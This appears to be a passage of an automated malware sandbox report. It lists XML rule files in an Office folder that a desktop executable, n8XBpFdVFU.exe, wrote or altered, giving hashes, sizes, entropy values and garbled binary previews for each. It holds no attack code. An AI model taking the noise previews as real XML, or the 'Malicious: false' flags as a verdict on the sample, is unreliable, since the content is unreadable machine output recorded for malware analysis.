Preview:	<?xml..M>u.I`Q.../5f.f.D(..A.e.....D.`.;.P.s....o..,S..8...)..E.=...W".r.G..Q.y...t.DU..L</R.._..NZ....cQ.......F.r8.....4^.>.^.f.....M.G7.....N.:3..k.?&:....P.QL,...^.......8t.`..N.ME.SQ..r.u....t...zW.f.p8..;#..Oj.H.G%.......9...CS....{._\|..Z.v.....fM".&`.y\|...}..'.....h..x..di.P\..G.....k..!.K..YK.3.i....p .........B?.u..L.....n.d.%.../.o..'E....d..D...0.8......s.G.....[..[.;..n....?.3+....2&....'...\|..^=.N/.k\|.CNZ/..lg...RZ.xHj(....\ ...]..k.G..<L.b3.........<a6......W[oFQ!...Hq.tw/@[? ....j.UCQ..2Q5Ou....l....V5....r.....-.NX.d.;..z..a.W..".<..d]....,.{.........../X.O...J.S.....\|w.o:.G.....z...f.u.s.4g.6x....;.....oM...T...&_g.....X.M\$.C...6x.h.z5........Xq......[.a...l........L`g..7.\|>N9F...}'N.nV...h.u8...O./..;.m.o.....>.q.....".....{.XW}.J_.{w.7..R..ls.Q.O...g.cf..\..DRj..........w......0n....?.'s.x.Y.%......].$.....5.F....c.....6..1.M'...s......EG,..........t..QA~...ou..`hiw5..@'.J..Y;..4..o."..!j.j2P.?Q..M$.Z%.)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.882167236860984
Encrypted:	false
SSDEEP:	48:dYHaddcn/AG6BB37Dj1jK1iHXYWfTvUnvpDmiOSD:d1v8/R6BR7f1jiWbqvphL
MD5:	9E4A7227847FDFFF106F87611805016A
SHA1:	FB569632A1E56E79840DB5FA04D7D40529344D1F
SHA-256:	42CE8AA1621044827B4853CEDCA8C9E8EDC77CF86D7EDF229F445C4F45AC8F90
SHA-512:	C5192AD9226A812F244F66333C7102FB1E94A9F8F2B089DB201C4A855DF7C92E4C366065551C7B1B27B278161EC2C41C738C143569CA749F8647D92785E6D63B
Malicious:	false
Preview:	<?xml.....z..7i..yW.H.H..NEo..p.m..DS.....N-G...7....(./.l..l.Zc.~..p.....%..g....Qh.p.7....._.#...Q>R..9yc9.Fe.....U2......'@..Ey..0...!...$E...'@.._.....%....@-.^..XX.s...iD.]0.._..#p..`..r..n...rU...,...g.K....I..M.^...3e...W.....8.Q}.k.8.he.f. 4i..h..6gG......a.a...'.....v.Ob..5...T...Ih.@..vF..;h..8....i.X1..[....Yy..-.s...@l.Y(..`.:..Guy.,.....;...E....%W..1.\9..B.m...k$....[...rQ../.tES"....O..-.4.K.\|^f._..b.\|;.DH...~..."xF...>.;...F.O...>...\|....g.O.\..C\|Uq..6YcH.k..E._.N..n..R.....;........hR..b.]n......L.@......_3..%.O..n...=.n..".y.....m...i3..\...0...~..0.......^(...bl......r..0._.".+...I.c_.d.....a..z1..;.a...[.(.!N+.o.<m.#'H.y... =EJ^...wa..l.Z.Ok{....J~[.6......9.6.j._".w.;O..{..S.1.I..I...Q.........^..4..I$.d....P'..~V..I^.\|...._ 9..[..G........o...j.....}>.e.s....:...........#..A........F.)2...^..C....:...%M2....`...F...#V...&f.f.#G..[.ln}e..@.35....Y.......P........p)\|6..+!.LYQ...^$.R!.[.R...:..1..M>...'2!q....P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.901105432101279
Encrypted:	false
SSDEEP:	24:Mhz53OdpI4GcYvnF3UjwIikjd+x2aWZhJeQCmR7mKhkktlLig/OAPsnJMkx34wN7:UxcHGF37aBHMQCypukOAEnJMkVZ/D
MD5:	61CDC060DD259675A474A78D0E7DDE97
SHA1:	446BB7AAEAC93A1F3FE71B1250CD02AB5A3179A6
SHA-256:	297F0CA0587F8A05F8A78A57AA37897EB63E067A3B79284724565F76430A9A81
SHA-512:	84D1CFC3044F3742EA6D89D18D0B6568610A1A4AD5DA8E1BA6F31D8995B507D9EF7F6F7B7E731AA12C126FD3B0507460B930797A04D318E2C51F6C6E7D92FDDC
Malicious:	false
Preview:	<?xml..:[N..x...\.E(0..[....PQ.Y....T..^........t..8...........X.c..^...`0.....)-..c.......F\......=.I...L.4*....'....sbN...b.y.If...7.Y...7...x...uO....0..3....[.Q.'D.H....h.%.M....b2..s.y.N.....:..p....+X.... ..__~x.s.X.s..b.......Y8y.~..p.`.)!.h._`.7%."..........@....\|..+Bs{......o.6d,.:.SxW.T.l..;.lj.8.n.iG3+..v"x..Q.(".%...J...2>.!.C.R.Ly..4.....nJ....1.5..W.d....5...I...r.......`.n...........w .}@....'A....4......`^.......F.7.&..G..mS?4....`.......[..rN...3.!,.....=...A.Z...}.....".....Q....(.?,..Y8"...d..C.{....../=.@Qn.?...T....$..lh.[..s-&...E....[z....u...%...D"X...V....-.x(..B>.t:..^.2M..)..6D.-0./....;......... .z.....m%.... .K..}.nse.'k..,%<c.{\.f..=t[.u.1....#....Y.s....x...7_O.......\|....C...j..%....c....!...{(g.l..^_.....;....=.....c....on&gJ.e..L.t{...-...r}^<\...L~..?.'f. .E:.V...vb.....\.G.P.....t.....!..'XI....y...vip....@.0....f....z....K.>.)4.c.p..Pg..t.k.2..Te.Az.\"XgzuH-...l....f.7g.L._-s;.-..A..-..Q..)....-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.873381407427482
Encrypted:	false
SSDEEP:	48:0d14bBP2042QgzBc+36jKDILqmJ4yJH3D:0cR4u1cI6uILqi/x
MD5:	C89ACDA8F6414598E863D88C919DA8FA
SHA1:	F3F8A87E8E609AAEB0DFCE46A524D88939E2BE87
SHA-256:	E51A48F835106ABAABE9CE4ADBDC420B58B1D0634585BEFA3E6FF7BC0DD2E469
SHA-512:	E29EEC464DA2A2939083C8AE5F07D6BE0771D94D71C3A5E430E2DAE75987B408A530F62938BC64F3442A33640FDA13DF9BA1D6A7FB8123BF3A5D0AFEE5131651
Malicious:	false
Preview:	<?xml_....b5.._.%#.#.\|.....s^....f..u...{c'o..............6..V.....q.H.k.y..pv...dF3I.~.).n...}.....&.I...X.W.es.....5....7...YD..0.....i..OPcz.>..i.SH..V....s.Rvyv..I..7H...$.D..{vW2...R.-=b.p.......h.X.;.I.j.RW...}:...C;......h...&..S@.....T].....^...o...}.V`r..$..#.q.(..h4.)1iL..+Z..\j'....^3..P$D..t......{.....ia.....f.#.....wE..s.#^...Qkkm.i.B..SfjQtf....[n^.yh...s- ...6.A)..+.I.].nf.......<..0..e\..>.Iw.u....W.#0l....o.i.....D`V..M....zX6.y.I,.^..Z. >.;.d...S.i.{....P.0..6....)...S..77.WH......3m....F...a:Z...Z.......Qn......<R......).V..pQ.!.^M...+...h9..e.Q........t.1H]..V./...oQ...E<.....jq0.I....B.Z..]..ir\...5.......T.c@.>.j.n.........t!]R....l]O...`....g.}...yj....Vc5...87.Z....7;...V.Q.+..u...Z.0...;v.....<f.B....r.l+.V....$g.>!s.l.g....p.O..,..H.H!....29K.<.X.R.bH(.......+..+~...#Z...M...[..~l.K....._..O...l.........x.Pj..+c...v..l:._QL.n..g...04......_...w...`s...0..*N,...=k:...sv.wE....+...t.$.^...t3j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.905154017061645
Encrypted:	false
SSDEEP:	24:l5xmcMsHDC+zjNm0Hpg+qv5goc4OPvKQwTCPpEsnnfpDLAjRBDFeLSolL0avIuBI:siC8tJE5go/2PqSnxD0dB4LSs0msD
MD5:	39F95D83C49C0B473A053F6F634EF970
SHA1:	AD232D9999C6276E832AD1AF9C5D4866E49F20F4
SHA-256:	F9040767DA39EC7F92F84B604A57CCDDCD356676D2CF844B7D751AF17B1D8BB7
SHA-512:	FD195E34FF1415D8B18916B3C4748DFB03F0F2A0E446C8281DD7684E69D5BE64021160283154476A002592E96AE33AF4A86EECB03928A9AE7F125AD3F73691C8
Malicious:	false
Preview:	<?xml.[.T...T...X...Z.........7=..e..%....i...}[z0...\|92.q....H..p....VQ.b$.......@@I(...r...O2.Y..y.UGn.L...v#9.v..U.z...!.._qW..S.....G/&\~.b...r......E..(U.M....9r.{.V..d3....>.C..?....e.%...1.t..^....g.d..Woo..p.>.l...1\....4...B. 6 ...\|w..Y.....d./I.t7......[..fV.Jd$M....H.N.\|..;..r...l6T...8.?z).....&e.."r[.t2...........;O.$.DP.re.9G.......,..J..k...As,._.l..........ms...}.^\|.....9...w..V.d....2.?.Q...>)...}n3.y.. .H.I.......t..t..k.c.#_....y_.?...`...B.E.k..T.E.Z7.d....h...m.{$.....\'.W#{......$..~=/.H..=n....8;G....n......... N.>./...7...!6.O.....g...P.:W..J.>-.%......"e2...E..K..^e.&.$."yt..B.B%.1....I...G`a..u.......V)n-P.........-..~......sMf)&..i...<....q.b.~o......&%G.v..<.6.0y...F..g/...<..Z@........z...)f...+..4e.........5...\|z..FX4.3,.......NW.gU._.U.8.....0..5...P.v......p.F+...<..x..O..qM.S......wH..&..H...I,...A.Y.Mcs....s....o[...a..U.G(;.J.-].a..~v..!...S.F(......E..S..9...M...k.`v.wR [.#S..R.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.884418425440765
Encrypted:	false
SSDEEP:	24:YorO3py5Pzo4UhEQxgcv/Kk0Sc4ImC5UGmnqWKijZRuWV4ISY3Ue/eLGE/TdceVp:YqPcrhF+4ImstWr4GlGLJXmnMoaD
MD5:	062B82BD25B5E853AC59CAF5B5303C96
SHA1:	414A9F81C10B9C3B593EB45418076E7FD70A9E8E
SHA-256:	6FD12B12E54244FDC4868BD73F55FF824CA096E0D6D064FA9765189270576E53
SHA-512:	1D6FBB621D17E9FE2176045AF2AA03823DAB30A82827F971C3C52476C2A9C4340EA835ED1B7B8751B6F7836DB6D5F60D61454CA2589C445321835A82283235C7
Malicious:	false
Preview:	<?xml.P..4..6_..`.'.c9....~.8DR...(.XyZ..._.c..k.eM....F.7........<.x...G!5.....et.f..z.&6W..&..@.t......Y9..jV..A0....SH.k.y'....E.4..'..F.>.^.w:...O.DS.qY.Q.:F....ES.l.../..8.t........YH...G........AA.c.w..9Ne>.:^.c\|.Z-......a..Eom.Z./..X...JIU.....3..n..+@:H../9J=..06..9.a..%..A../.W.Ez....O.{5....UY....\...X...s.wa.....^..n....J._h..PcQ..[/o%l..Pb.....Y.].(..\|..g..#...tR.>.....z...#.#..t.....).....L.......W....g.p......<=. i`..:..K...HWK.s...........`.....A7.#..0hU..{...O.X...\|.3..).@ba+.;c##..RPv...I ..j....(JLF..vt....5$....-r..5...3F.N..@..Ib......"..&=./F..@..._...".&....Gj...oj..DG/d.n;c.e_.R..0.c.o..:t.\|..Q......Ivi..G.1...k.F....l..........T.x........AIm.@v.X.r.e..t.C...F...n# ./.8&......].P.^I"..:wD....6.7y.=..q...40.<......a.....D...h..^..h...%WpD\|..>.n..!D.B./ _#.'.W.d...yb.^...m.~.ae..T......7.?.p%u^6..w.....Go.~..6.UaO.g........$...0.?.6..b.@..Z...R....C.'........R`'s.h.2J.$..^.A.<....,..!.4...n$U....&...V.K..i.M^]...d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.877875644439819
Encrypted:	false
SSDEEP:	24:bDqyv5NGtzp/QpemOMhse6BxvIhsjgzKOYhURDBns0yueBW59pqH5Y8aM8dd3xvR:blv5ktzY0d20ZURK0yl2bbDD
MD5:	4C68C5CF505E844F25DB1C755F9959F9
SHA1:	96F74FCC835003D1382478410691461440486DF3
SHA-256:	62C74EF78A35C2BCEF8B49FD0C03135AF2CB3062A38F8CF6AD71AA72459E7427
SHA-512:	A9853891ED9A0113C5011E8395C1CF3104294D55B98632755BCD929B6349C402E8E42796C91C7E45242476A56A8AF25352060695C472A252CCE9E54983414ABB
Malicious:	false
Preview:	<?xml..MZ...b...N.i......Jw..N.\|.#r.W;j..p....B....iu.8.M.....JH..[\T...eU....../......o.."r.?..u."...eu"..L( c.3.J.d.!r.0Kz.....^...Pqi....5..7..D1....r..h..=^.....p.si.=9J..o.1.I...,3..K..q..t`.x2.....Y..h...]..M....hu...-.......>....T...Xp@..@...H//4.c.P...P.5(.V........T.1A.........3jx..1..C.n.@.T8...$Z5...:.,.......W....e..x<Y...Wp.h...[.....\|...\|..3.....g..\|)..~.8.<H.p.c.E_...5...>..U..pq...W..7....z....S@.D..hT.u...l..c.~........g...H.`..Q.s.a.."91j.B....H>..txH.8.}.6..xD.5.L..Q^,e.....H.zz/i}. 3.a....6.S.T!.M.<?+.r...'U.3H":..3.......+k...f..s\|,}...4./D...?_...^..R....wE...;6N.....I...I'..=).W...E.......v4..a...#.\|^...0.*.@S'1m......].r'.....A.7]...=......I.....w..RQ..e....>.>-.9.b..,db."B..G\O\.nN..e:.g.A.q0.......m...Q?.!.!..Y].s...7.......b...n..s..5.^......VH..GW.....k4.....o....<.+..\.....A..f.+..W........j.Lc.T.o.......{.N.....El./.v..&...t^t...`...(`.y\.\...{wd..+....g7.............u.Y2...k+.}TX...m.Q.......d. ./....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.873497195400192
Encrypted:	false
SSDEEP:	48:budXLM6IFRR5EulYFXXuKcQeqmyrrReSD:CdwplqX7rtN
MD5:	5B281BA412BF6698E6E4C53F6001225D
SHA1:	26AE3C77CFAF22F021CA6DBE152467DAC9C85DE9
SHA-256:	11A51D2D6F54FF0426E0BAFD5CC5CBB51485FCCFA18165D5CBF6725E852BE187
SHA-512:	530EB0A8BBB746E821A5B34A9A6A8AFA05237EE5FFD85B637C43862B13AF1E44FE000BFBA8E0A773C62EFCD886D2FFA5DCF7948DD57C77F3B9CB6334E17AD9A2
Malicious:	false
Preview:	<?xml...>....G....lf.P.g...pI.M.XB.Q.......Ht....n=D........./...+U).^Xj.p.`...&.9.;K..i. .....3.qJN.j..P...8...r+..[..9.....x..v=..^.e.,...Qc >...5aJ..>...6FmB.jg.....u.j...o9...9....r2..o..az...m..$;.O\i)......=.........q<-[..r.{m"?h....p.....].s'Gt55.W9.r.6.......%5c...U.I.Pu ,.. .w.....N...?.'j.K.M...R\|E-.U6.&.OZ.5z..P......>....(F.r.\|.!H....7......-eG-........;..0...%.,@"..u=s..d..m....kz.cj..A...V@..2^..~\l. t.u......%...wi.$...5s+%!.a;...QN...:.Vt...g5#..K<Q...C........`X..>.'...C....D`....m.U.2.%R.A..E..F.8.../..o..U.o._.0......h..O.Jb..`........E\|X^.#L.iR..U.5..c.bt....t.Dy)..)m..d#.\|....8Z..5.=..$.....Xb..d[[.2.....Tf......_.<..aq.=..^5.E..s..Dm.h[......\(.u.,u...%6.9Kp..V.s..%.+...8...~...z6..{..w;.6x.M......z..r........Ujd..F4n?.vR..j....1:Q<.@.;.&Z.84?.5.Y...I-.....D..h..R....p.....+-.o..:^..=...O.z...V.q..cOp%-TC..Fs..$...[K.........5..(/...U...D.%.F.Gf.].i.<...$t.\.....j.h.7~k....b.....u..iL.L.-.-~.nD..b...u....8..O.,..U(....=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.893140434359832
Encrypted:	false
SSDEEP:	24:gOR10aOo402YNgBq23jrX7s+mo72VGBT8Cwa8ywsRMfOJWrUfxLHkFCndbD:Nf0aOwMBqSjLARGBQFsDJWrUfBHzD
MD5:	F57F46BA77BD8DAF5014E501063E53A8
SHA1:	889A98887F3C678948DDCBE6E1CF5DB027A29B05
SHA-256:	E1161F31E269EFE8DA78CE4BB152260C20FD73D735FA706517E800302ACA562D
SHA-512:	1A5E2A273B0DB53B01387A863A29EF5E6BF0DA2C1BF236477714DFD982A3030E43FB432E5A4908A865491A344D97A13AC245F0F1ADD027F8F59BEA00A0A1E856
Malicious:	false
Preview:	<?xml....5.'.=..T...S...(o.Y.E.........U..].tu.6...g...M.vI........RO..'...\.......k..5.....nw.e.J..."...Q.dK..............'.R.c...c..J...]...Z..{v9.W..Z+E.....1.TnP.3......n.....].W..g.S__..}......b.....B,...s.v...J...a.YIVPPLzJ[.$-..z.u......2...w.f4...X...E*....._U..v.....:<..-`eVU..M....`.2]...v...U.a.7......{..r...E.....{..aO.1..._.]#.d.......&..&........\....D.....W.V.../.......AoD.(..\..&]..d...:..-vZZG..ml.s.........~h..=.sEFd.2)<...]V....Eq...'..Y..&bm.}.#..r.I>...86.Qk.....s2+.'.-lz.B.`.f.....g..[.J V......n.>...#..F....o..h..0?.a..=...A.:.W....b....I...=.s.....I........Y.Y!.....K..P.k....1n...a.2.W7.[....5zoo..~BY.......I]V..D..}..q.[..N......v...lgJ.s.z....y.?r......Sy.JU.@e)6...'~.2..e\|...8.>........A..d}..F...f.....h:Z"..5...^x.j.x...$.<.Z.M....l./U.x.....k.n..o.55%.:x.$..)...9...x{..`..m....N..oQ..,.m..!...QFY%^#.j...4.)...C.L.1a13..T.(..(.o@..4.........=..b.......7.{.(m!yr.>.h.eu..&.Q9....Na.J..0.......#....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.885204701857552
Encrypted:	false
SSDEEP:	48:3wI4O3poGVJI/yZ+4HyClP/OjAaVBzk5D:3YyLgQ1HyClXOjRVBzkx
MD5:	CFF270A9469AB1710B373CBBA450E8B7
SHA1:	0994A3EECF8381B2ABEE648B59F8CFB890A54FF6
SHA-256:	7D6E84D532EED178E191A444C564E285EAA722806EB555922FDE3452E20B4976
SHA-512:	C043A3CB563E35581D6213E88B9F679924F1F586A1195727657C04AF709882F16BF13F9DEF954A612FDADBB7FB88BDB7052CBA09BAB1692555A4FB589D4DBB44
Malicious:	false
Preview:	<?xml!..4>..%.....L...\|z%.T......d...J..7.....~4...DX.....%.D..{.......%]....&!.89...tr.?r.!8.....a}%He.z.....j"~......v.;.D.!......q..FD..p..&.ks.FO-=<......?R.t.:_.....<..gD..,Z.F.qA9aP....$.`2PI0.A......7..Ro.z....x]........l..].n.$..y..\|....[:.c.+...vH.>r...../..]>..3Z.}.X.0.>Q.S..u9...T....:..6...V......b....f..P.H...B.*.bW.^K.......%y.(......j....W......m .....J.n+.D.4..7Jz.d.RbA.W^j. ..2a..).S.Of=.9%.~j.XG.o...^.)...hU....kH.u.D....T.-.d;.-.....;.._.\|.v......b.L.s.1.0...C....G4c..6..+.?nf....8.}.[...v......+%....I\C$=':Q.`@.M.&;..K.k.oh...m+q...)...C...`.O.VeF...tAHCG......2...k.LlA... .C.J.d3.M..F.[.....A..gI.t.....C...1`.-$0.....!l..p.f..~....[...].f..y.....L....ynQ.@$zF..'...)xI?..j...eT...@.e..fGqT.z..).Z..Bk ..]..x...e..)..P...1.oT...\|...F...]....Eh.....d...:.hV.]....'..zX]....".Z..A.....c..]}.z........ox.v!.....xb..w...........P..z.].;C....N...... ....d..4...0....L.NS..h...b../1....v.Q9AY.]!.)......4...M.=T3~....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8886009000777735
Encrypted:	false
SSDEEP:	48:1ElaF6VwujUmWpRjjkA7YOE3ouYf9WBi1FFdXki7o+BaD:1FrujmbjTxf0Bi1F0k4
MD5:	ADD7E033335608B1E76226C23803E9D2
SHA1:	DB44868DF5758A9C7E98F05A81803E2A83E9A3BE
SHA-256:	32562CD4A1B810C9858FFD6A235B96EDB5B22DAAF45DFBA9DAA9FEEA46EA4930
SHA-512:	334C7DE8B06A2E06CEDD050AF38486445932F3DFA1B08976846103B5D752E02ADC9827FE33AA888FE40DDB3E5608FB6044329EB4A101D362E402A76123124288
Malicious:	false
Preview:	<?xml.wbK.t.8......Y.Z.cg..A.Py.p.I.6......[c^F...[...5...U.....N;..6x.Z...f..R....C..v:".Kp}..p.L.....e...H..Xd+.a..Mt.<.0...s$RR.m..,...ay>.?...0.~.>pOZ.4@.g.I0......M 7F.MJj\|...@..D.n.'S......a'..I.....l..9........U...].x....{..!.3/...?.s?G.F..:=.W]....g7....2.-].x0........F..-..]...MB.&`...:..\|K00....CU..n....w.@z`..........R.=..r.X.q..ii..-.6..S8..{........... .....W.T..n..;}.......%,..).<........Y..h\|.......1..,D\|...AE..9........1.\..+..+.Sw.".X..a...c.w.v....j.r......{f'...._.@....o...<.w"...n...-L.8..S.A..Z{.IZ#?v1.....WQ.L..f.h......K..<..{...7../.....$.y.i....x{.....b......Tm...7....x4`.>..l.........9)W.x.xI..L~....8....`....G..#.f.1.....d.B....Q..5....;.7..k...c9U...UA...P..5..].5........0.C.5..;..F.\|.o.6...x.=5.1.=.Mn...d...'E.(.+..$1...}..e.H.........+.G.~..1<.ooSE.\|.Ay1.`;.'.. *.......2.T.Py8].....7p4....w!%!N........Bb..a..pTC}...F.-n..o.....h..yf.^.....\|.1oB.b..(..."....+@..y...+.4E....mF....Mu..z.+..VV.......4.<...GC.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.8971855623397245
Encrypted:	false
SSDEEP:	24:uXy/kCphENA0Ww+l+zXbLmTKou4H5SMJChOZED1vWR4heUnzpHlcSF4/Khm5tObD:0yrhIqQbLmLZZChcED1vWRkz/c6wOD
MD5:	0593E1B8BCE95B763AD9EB32B2944389
SHA1:	7852C3B8B30F94FE9AED2524BAA9F013F94110B9
SHA-256:	0F459AA645F095448AD14540104F2E8B915A3446C81752D6A34836EB06A00AE7
SHA-512:	AD1C4D7875C5BBBE500FEEE0786B6E12856F8842F3B892C917212705512DCF27C884A230F1043DA4BD41CE7CE44AAD2B8DA1B3DD9C06301CE4303BC1FA990AE1
Malicious:	false
Preview:	<?xml..@..k..I<.D>....;,.A.......~.....-.....3;O.#Yw.pc~<.r.....w...........+...!.g..EVa.Z.r...[...3.Gs..$Lw......IA..:..0......t.....3..<.'..?a..P.e.a..WV+.A..3..'.M.....~.-.R&....... R.../.....xE.....Rc.\|.......S.~...^o{'1,....-...o..?.Rt]..9....@.i.?.f....W.2U..g..BK...A.D.......O.~..Y}..6..Mzn....5.`RP..cZ^9....z....E.y.e.\[D7..\|.~Z9q.Vp......]..eX..V.1...I..v..........9..\.:....Wh..Jm....._.............x...\|.......Q;Im..g.......#`.B.jh...Th........D....k.T......Ff...4#.....Q:N...\.~...6..V.z....37.d...e.k..$..........b...`=..._...w....i,.....l.....bc.`.....=...@NK...K.....~..~..CVad.p...\..Q.Y'_.../L.U.Ss_J.3lI...T....=..C.g.g.y&.....%...R@y...L....v]..r.B..o.....r..}..MO..Z........i...D'...S.;..1..)>....DP...k..~<.....f>A..!c......D.}..J#....dE0p.....8.....xV.V-....w.(.`g..k.....&Y....N......~.E..V.....q...s.4=.}...]l.........G.fR^"...m...X.C..4.g.....j..9.g.n.`?.HE..G..&..}..x?.T...........b.r.TL&b...+.t......}.e.r...WB

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.872076719841761
Encrypted:	false
SSDEEP:	48:RpI9fyJ7vi5KElWlSvXcnB2aOi+vM1ouR6yD:RpafEaKrSvsnhO9Ba
MD5:	31FE3A58278D42C72E72175E9C84D7B8
SHA1:	988566B4A72CFBE14599354A0C3CA4BAE59857F1
SHA-256:	AF6204901903EEDBF4F7F862EF47CB5642EEDE8C573D3BAFB22146D2832B4BF7
SHA-512:	37C5DF24BA76A6C8F6CDDDE80A4963DFA9D8EC2F4D717F1A32D67A642B24DD8F313E940BA428FE8F9FA367DF3A13ACF71BC1765D7041CB4D5258869E65B80112
Malicious:	false
Preview:	<?xml.x.V....?+O9.v.."\|.n....H6L."....QE.[3........c.S..g..d.n}c/.gE.....I6...d...}.e....\|5."..v...g>..hH.......p..............Cl.D.~Q.1{j...Pm.2?..2.s{E)..k..z&........g....0mRql.._.u.)..2..K..z.h...K.\|...7.Zkp!.7.[m.Q...GKC........O...o....QW..#i.u....:.........ssi.N.....2......9.:h.E.\.$...(...y...ry.de.\...#L.K.)...3.......[..e....>h.f5..Q..J..r...).{.K.E.....~r.C?....W....s.G-...PG\.J....l..f..M........48..(U/...A..-..n.y..}E.....GXw...R.z..jY.-..X.......g\|.w0..)....h.......iY...Q....a.F.Y.*P.E....;.?.t...6s.cY.^.&..X.y..s.....h.WYxR.s..U....L...R...H.h.......9....d.)bZ..#..ps.........7....f4...p...Mx7)....3....U.]......`.}.e@&6...o...E..P......I.D2.)....v....[..gWW..=...........0V.4"7..._.5.)m...o..$...%.M....g..5..o3v.v..<........ss.,..s.c..Z...H...sG...r....,..@(PKf.\J:.ef..[[.!..eI.X.P)./....QY.........] .f.ec.n......s..f...7..[.. ..$......u....7!...c....y%YG..v..."... .E..X...A......j....n%..t.Rj.A.)-........'.~.....>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.878675300111191
Encrypted:	false
SSDEEP:	48:6IM+qyLpENxLji+bjCy2A1P+EhJDa9dSNrD:S+cNxLjZHCW7JDa9dSNH
MD5:	3724A1954865EC8F97E04FE1B561E7CD
SHA1:	EF5C0521C12F6995A359F45FAC91A1998A32031D
SHA-256:	A6B7E69438BADC21B45D38334ED09E55A299B6C6838FE56CD324FC09B8841070
SHA-512:	06E006BFD88288DA339A387485419325FFDBB02FFB8A9C33A63BA53C7C45D2EDC5C8F02D4C0102A8DBD9CF341BF63708163B62CC107A6557B19CE8E566B259BA
Malicious:	false
Preview:	<?xml.s.?..!tMU.NA..p.6..vuq.'.'."~......K..3.N8t....sF....+!........W...^W....%K..DB.@)..#.......+c.gF..+.y).@i.E.d.'...;.4..!....L.4ia1.i_..I.x.e<P.Y..#..6...1.."(.E...........TY.T.;..);.[.~........F....\|..n!:...2j.n9....W....D..Z.....P.]A.uy..~..aC.-K.......k...N.......1$..._.W......p..O7.WI....m..K.Q..Y.J..h...x......Lv.x.v].s...y..CU..2.T..WosG...5{:..r.M6);x.>A..(..Q>#.ag..Nl.e...i.\TR.U..~a)..se.($1."(.Z>-lG..}}..'TzN.v.....v..9.D..,.a .TX'E~..{.^..HV.....Q.1.5.M9...I...\.....r.G. .H..d..nXuf...t#.P.H0.)..L..x..........^.>._7...^...'....F..S.~..#.....i...........Yl}..I....{....{t..mK..Ga.ySb....6...UJ.#....#..e...&Vv=..m.V`./..{...e.f.r'...6...[..%..H...d.2..\|.p.P..?wH....y3......}q.'..ZG+@.KQ...^X..a.uf#M..9.t<.$...f.rKpq.N..%...g...G../.....SMS[.t.-.o..+...&i_.....?.f.s[.aO..R...r.=...{36.V..Y2.......y`.U?...U..d.R....FYi{-eE...9r..b.e%,.a....8..q..M/Bo6.c+...$..fh....L.4.....TK..L.....f.d.&.l'..ir-..i.;......\.c.q.28.(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.8899818241087285
Encrypted:	false
SSDEEP:	24:l3XepEbr2+OP9OaInUnR6XITNPMdrQ9KkulTQbyh+4dwQoomT8A2p0kT4UbD:l3WEbr2+OVeUR6XYxkkKnmwA2CUbD
MD5:	CB3B3796E7479E5700F3A2880E6CCE17
SHA1:	D42AC923F486F4FBDF16AD5D55AFB40814A5E9A5
SHA-256:	EAA1E9EACCEE6B7C2A0942774F3267C0AA5C1657CF345B3425E126F2155ADC44
SHA-512:	4CB4F066F8D6DAC27E24099EBEB8C1A26F02FC64AB92026483CC4911B556E5020062FD5B76DA27CEC2D90A1153C78C4B64FE13EDB8C29AF351835C0269024F5E
Malicious:	false
